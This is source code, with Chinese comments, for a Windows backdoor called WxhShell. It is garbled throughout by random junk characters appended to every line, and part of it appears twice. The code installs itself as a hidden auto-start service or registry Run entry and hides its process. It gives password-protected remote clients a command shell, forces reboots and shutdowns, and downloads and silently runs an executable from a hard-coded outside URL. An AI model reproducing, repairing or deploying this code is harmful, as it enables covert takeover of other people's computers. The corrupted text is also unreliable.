    if(Boot(SHUTDOWN)) z#qlu=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \i Ylh HD  
    else { M%dJqwH5{  
    closesocket(wsh); s>}ScJZK  
    ExitThread(0); eWjLP{W  
    } +T}:GBwD7  
    break; ;CbQ}k  
    } j$Ttoo  
  // 获取shell c.5?Q >!+  
  case 's': { ^,@!L-<~(b  
    CmdShell(wsh); SM>V o+  
    closesocket(wsh); #$h~QBg  
    ExitThread(0); &Nf10%J'<  
    break; {d`e9^Z:  
  } S+c)  
  // 退出 ~udi=J |  
  case 'x': { b"U{@  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ')pXQ  
    CloseIt(wsh); WfbG }%&J  
    break; =nQ"ye  
    } }6#lE,\lM  
  // 离开 Z i-)PK^  
  case 'q': { >T*/[{L8;  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); U68o"iE  
    closesocket(wsh); lR5< G  
    WSACleanup(); H{*~d+:ol  
    exit(1); p4m9@ \gn  
    break; anwMG0  
        } .+1.??8:+  
  } sflH{!;p  
  } 0fgt2gA33  
[%U(l<  
  // 提示信息 $[zy|Y(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bzFwQi}>  
} O*MC"%T  
  } }UwDHq=  
@4h{#  
  return; _M n7zt1^  
} 9}e`_z  
w7Do#Cv  
// shell模块句柄 =rBNEd  
int CmdShell(SOCKET sock) ByR%2_6&  
{ 20[_eu)  
STARTUPINFO si; :S Tj <  
ZeroMemory(&si,sizeof(si)); B+:'Ld](  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1EvAV,v"  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; V=!tZ[4z$h  
PROCESS_INFORMATION ProcessInfo; 'J+dTs ;0  
char cmdline[]="cmd"; #K A,=J  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?)=A[  
  return 0; g~FA:R  
} ya7/&Z )0  
g70B22!y  
// 自身启动模式 <^j,jX  
int StartFromService(void) "b&[W$e  
{ G(7!3a+  
typedef struct K07b#`NF6  
{ JTu^p]os?  
  DWORD ExitStatus; 3Qt-%=b&  
  DWORD PebBaseAddress; v=4,k G  
  DWORD AffinityMask; iN\D`9e  
  DWORD BasePriority; ?`PG`|2~  
  ULONG UniqueProcessId; 96fzSZS,  
  ULONG InheritedFromUniqueProcessId; LfD7 0r\  
}   PROCESS_BASIC_INFORMATION; YXCfP~i  
Y\!* c=@k  
PROCNTQSIP NtQueryInformationProcess; =,B44:`r  
gC-3ghmgS  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6onFf* m!x  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; b/N+X}VMN  
'F[m,[T%x  
  HANDLE             hProcess; h WvQh  
  PROCESS_BASIC_INFORMATION pbi; `usX(snY  
1#H=<iJ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *QAcp` ;*  
  if(NULL == hInst ) return 0; ,v;P@RL|g  
6 /8?:  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >5Vv6_CI0?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); H+&c=~D\_  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {(r`&[  
w i,}sEoM  
  if (!NtQueryInformationProcess) return 0; yyZV/ x~  
$ZSjq  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [[(29|`]  
  if(!hProcess) return 0; T%kr&XsQX  
tuzw% =Ey  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; rwb7>]UI"d  
u~Zx9>f  
  CloseHandle(hProcess); U~krv> I  
tHez S~t_  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); M*|,05>  
if(hProcess==NULL) return 0; )H&rr(  
d(u"^NH;  
HMODULE hMod; k&-SB -  
char procName[255]; #'}?.m  
unsigned long cbNeeded; Zo}O,;(F5  
.W _'6Q+  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); KiN8N=z  
^8p=g -U\  
  CloseHandle(hProcess); 2l5>>yY  
0fhz7\a^_<  
if(strstr(procName,"services")) return 1; // 以服务启动 E<u6 js,  
I^h^QeBis  
  return 0; // 注册表启动 $@t]0  
} LadE4:oy  
df}DJB  
// 主模块 nH*JR  
int StartWxhshell(LPSTR lpCmdLine) R"NR-iU  
{ J[6`$$l0  
  SOCKET wsl; Ke0j8|  
BOOL val=TRUE; :77dl/d%  
  int port=0; K.k%Tg[ ~  
  struct sockaddr_in door; 9r,)Bw!RP  
r(g:b ^S  
  if(wscfg.ws_autoins) Install(); %fY\vd 2  
i7hWBd4wK  
port=atoi(lpCmdLine); qx,>j4y w  
j9FG)0  
if(port<=0) port=wscfg.ws_port; ?7 Kl)p3  
I"TFj$Pg  
  WSADATA data; &z!yY^g  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; b4o`eR  
`acX1YWh5  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   7[=MgnmuC  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); jQDXl  
  door.sin_family = AF_INET; .xnJT2uu'  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]3B8D<p  
  door.sin_port = htons(port); L\1&$|?  
u-yVc*<,  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { R(jp  
closesocket(wsl); b^WTX  
return 1; Bf {h\>q  
} q~QB?+ x&  
xaQO=[  
  if(listen(wsl,2) == INVALID_SOCKET) { 0E[&:6#Y  
closesocket(wsl); 3aL8GMiu  
return 1; >)E{Hs  
} Npq_1L  
  Wxhshell(wsl); /l o;:)AiP  
  WSACleanup(); ?)x"+[2  
)YSS>V  
return 0; ;[pY>VJ(  
$9LI v  
} 7OF6;@<  
N@Fof(T&  
// 以NT服务方式启动 OAGI|`E$/-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) C !a#M{:  
{ -+9,RtHR7  
DWORD   status = 0; tWD5Yh>.?$  
  DWORD   specificError = 0xfffffff; 9fLxp$`(T  
<#c/uIN  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 2`2S94'  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ;3~+M:{2  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; re\pE2&B  
  serviceStatus.dwWin32ExitCode     = 0; ZdcG6IG+  
  serviceStatus.dwServiceSpecificExitCode = 0; "n,? )  
  serviceStatus.dwCheckPoint       = 0; }:6$5/?  
  serviceStatus.dwWaitHint       = 0; Q]n a_'_  
;"gUrcuY  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /)Ga<  
  if (hServiceStatusHandle==0) return; pAZD>15l"  
M$@Donx  
status = GetLastError(); o*\Fj}l-  
  if (status!=NO_ERROR) QzV Q}  
{ VV'K$v3'N8  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; x=Ef0v  
    serviceStatus.dwCheckPoint       = 0; ?g7O([*[  
    serviceStatus.dwWaitHint       = 0; E@uxEF  
    serviceStatus.dwWin32ExitCode     = status; iLd_{  
    serviceStatus.dwServiceSpecificExitCode = specificError; 2<"kfa n  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); l)1FCDV  
    return; x^0MEsR  
  } rV *`0hA1  
9^D5Sl$g  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Wzm!:U2R*  
  serviceStatus.dwCheckPoint       = 0; ?+^vU5b1u  
  serviceStatus.dwWaitHint       = 0; =Fu~ 0Wc  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); m+Um^:\jX  
} {`X O3  
.(2Zoa  
// 处理NT服务事件,比如:启动、停止 VMa \?`fT  
VOID WINAPI NTServiceHandler(DWORD fdwControl) iL vzoQ  
{ (fSpY\JPI  
switch(fdwControl) -UTTJnu^  
{ h_xHQf&#  
case SERVICE_CONTROL_STOP: xna4W|-  
  serviceStatus.dwWin32ExitCode = 0; 6qAs$[  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; SuorCp]  
  serviceStatus.dwCheckPoint   = 0; Vdpvo;4uy  
  serviceStatus.dwWaitHint     = 0; 2|n)ZP2cp  
  { GxFmw:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); BAy]&q|.  
  } wO>P< KBU  
  return; d z-  
case SERVICE_CONTROL_PAUSE: RxeyMNd  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; -c_}^j  
  break; xzI?'?duC  
case SERVICE_CONTROL_CONTINUE: klUW_d-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; _T8o]  
  break; dE ,NG)MH  
case SERVICE_CONTROL_INTERROGATE: ()[j<KX{.  
  break; :3oLGiL   
}; f&ZFG>)6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .+.BNS   
} N51g<K  
xoT|fgb  
// 标准应用程序主函数 R=/^5DZ}  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) =&9x}4`;%  
{ =~|:93]k  
8M5a&35J"  
// 获取操作系统版本 ,.Sd)JB'  
OsIsNt=GetOsVer(); :\Pk>a  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 8D)I~0\  
62YT)/i3  
  // 从命令行安装 q-k~L\Ys  
  if(strpbrk(lpCmdLine,"iI")) Install(); rzk]{W  
udld[f.  
  // 下载执行文件 px7<;(I  
if(wscfg.ws_downexe) { 4fuK pLA  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7UVhyrl  
  WinExec(wscfg.ws_filenam,SW_HIDE); #<4/ *< 5  
} GM{J3O=  
FxK2 1  
if(!OsIsNt) { S8S<>W  
// 如果时win9x,隐藏进程并且设置为注册表启动 #0F6{&; M  
HideProc();  o(q][:,h  
StartWxhshell(lpCmdLine); li`4&<WGC  
} 3Mlwq'pzD  
else vwc)d{ND  
  if(StartFromService()) 7y/Pch  
  // 以服务方式启动 )|Il@unp/  
  StartServiceCtrlDispatcher(DispatchTable); 8Ev,9  
else [Y%H8}  
  // 普通方式启动 @a[Y[F S  
  StartWxhshell(lpCmdLine); .5ItH^  
s{30#^1R  
return 0; S1`;2mAf*  
} 2)W~7GED  
*!W<yNrR  
Gs0x;91  
'IykIf  
=========================================== q| EE em  
'9w.~@7  
kr=&x)Wy!  
4!3mSWNV  
|IgH0 zZ  
l+V#`S*q  
" h^`!kp  
R, J(]ew  
#include <stdio.h> doj$chy  
#include <string.h> >axf_k  
#include <windows.h> Qgel^"t]i  
#include <winsock2.h> X-mhz3Q&a  
#include <winsvc.h> 3WTNWz#h  
#include <urlmon.h> {,Py%.vvR  
kv)IG$S 0  
#pragma comment (lib, "Ws2_32.lib") <z2*T \B!8  
#pragma comment (lib, "urlmon.lib") # $dk  
MU-T>S4  
#define MAX_USER   100 // 最大客户端连接数 HAHLF+k  
#define BUF_SOCK   200 // sock buffer j)vfI>  
#define KEY_BUFF   255 // 输入 buffer 1~|o@CO  
QE b ^'y  
#define REBOOT     0   // 重启 O0i)Iu(J7;  
#define SHUTDOWN   1   // 关机 FFvF4]|L  
QL{^  
#define DEF_PORT   5000 // 监听端口 xi!CZNz  
7YLG<G!v)]  
#define REG_LEN     16   // 注册表键长度 <q dM  
#define SVC_LEN     80   // NT服务名长度 {dk%j~w8  
I8%2tLVY  
// 从dll定义API bt2`elH|  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); L)!9+!PKD  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); AD=qB5:  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);  HuCzXl  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); VD).UdUn  
DNu^4#r  
// wxhshell配置信息 ([+u U!  
struct WSCFG { j1sZRl)D  
  int ws_port;         // 监听端口 ar#Xe;T!  
  char ws_passstr[REG_LEN]; // 口令 u5LrZt]k  
  int ws_autoins;       // 安装标记, 1=yes 0=no EU0b>2n4  
  char ws_regname[REG_LEN]; // 注册表键名 FkS$x'~2$  
  char ws_svcname[REG_LEN]; // 服务名 >3J?O96|f  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 >w}5\ 4j  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 E/Ng   
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 B>!OW2q0D  
int ws_downexe;       // 下载执行标记, 1=yes 0=no G[[hC[}I  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ;hcOD4or  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 uv}?8$<\  
10C,\  
}; vp#AD9h1  
Fhr5)Z  
// default Wxhshell configuration zt23on2  
struct WSCFG wscfg={DEF_PORT, n!Dy-)!`O  
    "xuhuanlingzhe", IL\2?(&Z  
    1, 1J tt\yq  
    "Wxhshell",  r*gQGvc  
    "Wxhshell", (/oHj^>3N`  
            "WxhShell Service", z(yJ/~m  
    "Wrsky Windows CmdShell Service", {imz1g;  
    "Please Input Your Password: ", H fg2]N  
  1, HF\|mL  
  "http://www.wrsky.com/wxhshell.exe", K< ;I*cAX  
  "Wxhshell.exe" B_u1FWc  
    }; d8o<Q 9   
qMj'%5/  
// 消息定义模块 $XOs(>~"r  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; y7?n;3U]CS  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ioZ{2kK  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; YKk*QcAn  
char *msg_ws_ext="\n\rExit."; VPAi[<FzOG  
char *msg_ws_end="\n\rQuit."; z3\WcW7|  
char *msg_ws_boot="\n\rReboot..."; <x^Ab#K"  
char *msg_ws_poff="\n\rShutdown..."; , Ac gsC  
char *msg_ws_down="\n\rSave to "; )nI}KQJ<  
W>*9T?  
char *msg_ws_err="\n\rErr!"; YH 5jvvOI  
char *msg_ws_ok="\n\rOK!"; "; PW#VHC  
.*3.47O  
char ExeFile[MAX_PATH]; Bj-80d,  
int nUser = 0; lO=Nw+'$S  
HANDLE handles[MAX_USER]; }ob&d.XZ  
int OsIsNt; .w .`1 g   
S*5hO) C  
SERVICE_STATUS       serviceStatus; \@3B%RW0  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,y'E#_cTgQ  
,'KS:`m!  
// 函数声明 ?c$z?QTMJ  
int Install(void); k /hD2tBLu  
int Uninstall(void); de&*#O5  
int DownloadFile(char *sURL, SOCKET wsh); zOEdFU{x  
int Boot(int flag); R;6$lO8C&  
void HideProc(void); m4=[e!  
int GetOsVer(void); qVvQ9?  
int Wxhshell(SOCKET wsl); 6hW ~Q  
void TalkWithClient(void *cs); WaaF;| ,(  
int CmdShell(SOCKET sock); 2EU((Q`>=(  
int StartFromService(void); 6w )mo)<X  
int StartWxhshell(LPSTR lpCmdLine); D #`o  
Exy|^Dr0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); nNN~Z'bG  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); V5ySOgzw,  
T=NF5kj-=  
// 数据结构和表定义 </.9QV  
SERVICE_TABLE_ENTRY DispatchTable[] = g"F&~y/p  
{ +kMVl_` V  
{wscfg.ws_svcname, NTServiceMain}, ) Ekd  
{NULL, NULL} !P_8D*^9  
}; h.~:UR*   
sghQ!ux  
// 自我安装 3\!DsPgW  
int Install(void) C'_^DPzj  
{ V\!6K  
  char svExeFile[MAX_PATH]; 323zR*\m  
  HKEY key; cg]\R1Gm  
  strcpy(svExeFile,ExeFile); d&@>P&AT  
lVw77bZ  
// 如果是win9x系统,修改注册表设为自启动 ;aY.CgX  
if(!OsIsNt) { MPtn$@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { doERBg`Jh  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); MHm=X8eg  
  RegCloseKey(key); x$6` k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~$bkWb*RJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0# )I :5  
  RegCloseKey(key); r}9a3 1i  
  return 0; /CE]7m,7~K  
    } vq.~8c1  
  } ;?*`WB  
} =Fd!wkB'{  
else { GW29Rj1  
>R9_ ;  
// 如果是NT以上系统,安装为系统服务 Zs(I]^w;d  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6r x%>\UkS  
if (schSCManager!=0) vLc7RL  
{ X:un4B}O  
  SC_HANDLE schService = CreateService `ZC{<eVJ}=  
  ( #JOWiO0>  
  schSCManager, D.i(Irqw!  
  wscfg.ws_svcname, BkH- d z  
  wscfg.ws_svcdisp, &7}\mnhB  
  SERVICE_ALL_ACCESS, "<e<0::  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , w6-A-M6hD  
  SERVICE_AUTO_START, ptCFW_UV  
  SERVICE_ERROR_NORMAL, /^F_~.u{  
  svExeFile, #)qn$&.H  
  NULL,  *b$8O  
  NULL, (Ov{gj^  
  NULL, )t$<FP  
  NULL, /YyimG7  
  NULL zE~{}\J  
  ); XMR$I&;G8  
  if (schService!=0) >I~$h,  
  { Nx%]dOa  
  CloseServiceHandle(schService); FE0}V}\=h  
  CloseServiceHandle(schSCManager); e]1&f.K  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); h6yXW! 8  
  strcat(svExeFile,wscfg.ws_svcname); `.Oj^H6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { n%SR5+N"  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); gH0' Ok'  
  RegCloseKey(key); 7lC );  
  return 0; j[^(<R8  
    } \hm;p  
  } ']bpsn  
  CloseServiceHandle(schSCManager); !zu YO3:  
} {c7ZA%T~R  
} \NiW(!Z}  
go6XUe  
return 1; {pV\]E\]  
} SRUg2)d  
zK Y 9 'y  
// 自我卸载 f>*D@TrU  
int Uninstall(void) 3 N5un`K7  
{ y4V~fg;  
  HKEY key; ke+3J\;>  
(9"w{pnlLc  
if(!OsIsNt) { q{fgsc8v\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0TDc Q  
  RegDeleteValue(key,wscfg.ws_regname); 'aWrjfDy:  
  RegCloseKey(key); 9*thqs3J#d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U)f;*{U  
  RegDeleteValue(key,wscfg.ws_regname); d(=*@epjR  
  RegCloseKey(key); MRI`h.  
  return 0; s_/a1o  
  } ]uikE2nn  
} jHU5>Gt-}  
} ja<!_^h=At  
else { V!|:rwG2  
PNSV?RT*pG  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); n^a&@?(+  
if (schSCManager!=0) _SW_I{fjr  
{ Ojh\H  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); L.E6~Rv  
  if (schService!=0) &n}eF-  
  { cl`!A2F1G#  
  if(DeleteService(schService)!=0) { ;Sc}e/WJj  
  CloseServiceHandle(schService); by:"aDGK.  
  CloseServiceHandle(schSCManager); zZhAH('fG  
  return 0; rz@FUU:&  
  } $jc&Tk#  
  CloseServiceHandle(schService); dN8@ 0AMSf  
  } A;06Zrf1  
  CloseServiceHandle(schSCManager); 2 SJ N;A~}  
} c,v?2*<  
} V5.=08L  
2;v1YKY  
return 1; cC NyW2'  
} &F8N$H  
bh[`uRC}  
// 从指定url下载文件 F*0rpQ,*  
int DownloadFile(char *sURL, SOCKET wsh) Wubvvm8U  
{ [110[i^  
  HRESULT hr; Bb~Q]V=x;  
char seps[]= "/"; h@^d Vg  
char *token; w~3~:w$  
char *file; y{ ?wxg9  
char myURL[MAX_PATH]; |5;:3K+  
char myFILE[MAX_PATH]; bXx2]E227  
Y`U[Y Hx  
strcpy(myURL,sURL); 6JCq?:#ab  
  token=strtok(myURL,seps); %6%QE'D  
  while(token!=NULL) y3,'1^lA  
  { q2 pq~LI  
    file=token; :c_>(~  
  token=strtok(NULL,seps); Z{MR#.I  
  } LGau!\  
)6t=Bel  
GetCurrentDirectory(MAX_PATH,myFILE); 8B*XXFy\  
strcat(myFILE, "\\"); BDO]-y  
strcat(myFILE, file); \qo}}I>e  
  send(wsh,myFILE,strlen(myFILE),0); 0+iaO"%  
send(wsh,"...",3,0); ?k}"g$JFn  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); S5,y!K]C~  
  if(hr==S_OK) < s>y{ e  
return 0; [yEH!7  
else (FY<% .Pa  
return 1; M %vZcP  
@[s+5_9nk  
} Rg3cqe#O/  
mF6 U{=  
// 系统电源模块 5, j&-{ 0W  
int Boot(int flag) BJL*Dih m[  
{ 2qN|<S&  
  HANDLE hToken; (L2:|1P)  
  TOKEN_PRIVILEGES tkp; 4e0/Q!o,  
IHrG!owf  
  if(OsIsNt) { i'\7P-a  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]bui"-tlK  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); fbjT"jSzw  
    tkp.PrivilegeCount = 1;  av!'UZP  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ]9 ArT$  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); gQ0W>\xz  
if(flag==REBOOT) { O 8\wH  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )[Bl3+'  
  return 0; Q|CLis-  
} uQ_s$@brI  
else { *%(BE*C}  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) zYz0R:@n+  
  return 0; mDG=h6y"V  
} hb,G'IU  
  } ,~TV/l<  
  else { 3lw8%QD>  
if(flag==REBOOT) { c:@lR/oe"  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) T+q3]&  
  return 0; ^p2_p9  
} 1p DL()t  
else { "h84D&V  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) G(*7hs  
  return 0; S+LS!b  
} O^_$cq  
} fPj*qi  
9?6]Z ag  
return 1; W,53|9b@  
} Wb;x eG  
< 9 vS  
// win9x进程隐藏模块 <jk.9$\$A  
void HideProc(void) 6%^9`|3  
{ 50?5xSEM0_  
R|,F C'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $Rd]e C  
  if ( hKernel != NULL ) zg[.Pws:E  
  { XSv)=]{  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); jW< aAd  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); )d^b\On  
    FreeLibrary(hKernel); SR<*yO  
  } Ia'm9Z*  
0\X'a}8Bu  
return; >(9"D8  
} WNa#X]*E)  
/DC\F5 G  
// 获取操作系统版本 x392uS$#  
int GetOsVer(void) jWX^h^n7K  
{ :8CYTEc  
  OSVERSIONINFO winfo; Ev)aXP  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \U\k$ (  
  GetVersionEx(&winfo); 7Gs0DwV  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ;/- X;!a>  
  return 1; K;NaiRP#k  
  else KD*q|?Z  
  return 0; F,NS:mE  
} q_gsYb  
flr&+=1?D  
// 客户端句柄模块 qUuvM  
int Wxhshell(SOCKET wsl) 1^HUu"Kt  
{ @9}SHS  
  SOCKET wsh; !vQDPLBL  
  struct sockaddr_in client; n#fc=L1U  
  DWORD myID; R c.8j,]  
x#0B "{  
  while(nUser<MAX_USER) Q|1X|_hs  
{ G#(+p|n  
  int nSize=sizeof(client); !J%m7 A  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )tB1jcI;  
  if(wsh==INVALID_SOCKET) return 1; .o_?n.H'&  
eN?:3cP#l  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "?Mf%u1R  
if(handles[nUser]==0) }8\"oA6  
  closesocket(wsh); =JK# "'  
else 8ba*:sb  
  nUser++; (+=TKI<=  
  } SaA9)s  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); \~{b;$N}  
+P//p$pE  
  return 0; xy.di9  
} ,TdL-a5  
w*-1*XNA  
// 关闭 socket \@eC^D2  
void CloseIt(SOCKET wsh) o@!!I w  
{ OM4q/!)A]  
closesocket(wsh); HXg4 T  
nUser--; S$egsK"~  
ExitThread(0); Ts~)0  
} #]_S)_Z-  
Pp9nilb_(  
// 客户端请求句柄 ZR|cZH1}C  
void TalkWithClient(void *cs) =nTNL.SX  
{ rcyq+wY #  
fmv8)$W#U  
  SOCKET wsh=(SOCKET)cs;  =>Md>VM  
  char pwd[SVC_LEN]; A8by5qU  
  char cmd[KEY_BUFF]; R/UL4R,)^  
char chr[1]; -1P*4H2a  
int i,j; ^1 P@BRh  
n!>#o 1Qr  
  while (nUser < MAX_USER) { ?4 &C)[^  
1MF0HiC  
if(wscfg.ws_passstr) { g12mSbf=9  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hV6=-QL*B  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u3XQ<N{Gj  
  //ZeroMemory(pwd,KEY_BUFF); faJ>,^V#  
      i=0; N!hS`<}  
  while(i<SVC_LEN) { G;CB%qXI  
F]"Hs>  
  // 设置超时 lbg^ 2|o~~  
  fd_set FdRead; V.8pxD5 s  
  struct timeval TimeOut; mn;Wqb/  
  FD_ZERO(&FdRead); &\_cU?0d  
  FD_SET(wsh,&FdRead); ?7:?OX  
  TimeOut.tv_sec=8; 8pQ:B/3=  
  TimeOut.tv_usec=0; VSJ08Ngi   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 5{@Hpj/B  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); xr<.r4  
,7{}}l  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); df$VC  
  pwd=chr[0]; nLfITr|5  
  if(chr[0]==0xd || chr[0]==0xa) { ]rs7%$ZW  
  pwd=0; H |K}m,g  
  break; ;%V%6:5  
  } yN Bb(!u  
  i++; D]h~ \  
    } = Nd &My  
6}>:sr  
  // 如果是非法用户,关闭 socket -1>$3-ur~  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8UANB]@Y}  
} 9j6  
wB0zFlP  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @A-^~LoP.  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p 7YfOUo k  
5 1\N+  
while(1) { ]("5O V5  
Q6r!=yOEY  
  ZeroMemory(cmd,KEY_BUFF); OGjeE4  
)ZI9n7  
      // 自动支持客户端 telnet标准   4GY:N6qe '  
  j=0; tluyx  
  while(j<KEY_BUFF) { '[6o(~ *  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @fVCGV?'  
  cmd[j]=chr[0]; {m&8Viq1  
  if(chr[0]==0xa || chr[0]==0xd) { ezOZHY>|#  
  cmd[j]=0; w?+v+k\  
  break; %j[DG_  
  } i7m=V T  
  j++; R4R SXV  
    } VgSk\:t  
M]Y72K^  
  // 下载文件 6}RRrYL7I  
  if(strstr(cmd,"http://")) { 8#S}.|"?F  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); pNHO;N[&  
  if(DownloadFile(cmd,wsh)) >^  E  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); kr_!AW<.tz  
  else njk1x  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l^F%fIRp)  
  } P0En&g+~  
  else { Ifc}=:nr  
l{{wrU`  
    switch(cmd[0]) { B f_oIc  
  ;bZIj` D(  
  // 帮助 /cy'% .!  
  case '?': { iuX82z`  
